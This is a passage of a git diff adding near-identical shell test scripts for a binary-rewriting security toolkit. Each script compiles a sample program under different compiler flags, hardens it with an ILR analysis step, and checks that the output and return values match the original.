+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..467f62ec756b33076765aa483182874bd02ca5c1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a5f430b400127072dd047d689211aa38ef1a7fa3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f0291c5cf4f8a24ed692ae6fcd1b5a0d6bc3b876
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..81cccf6af8d3e401df8d38ead47db24434c8923a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b0aa17b80e393363c259f99382f0cc0bebc5cb80
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7557e8d1b46867643ecb9457e494c685945d3fc4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
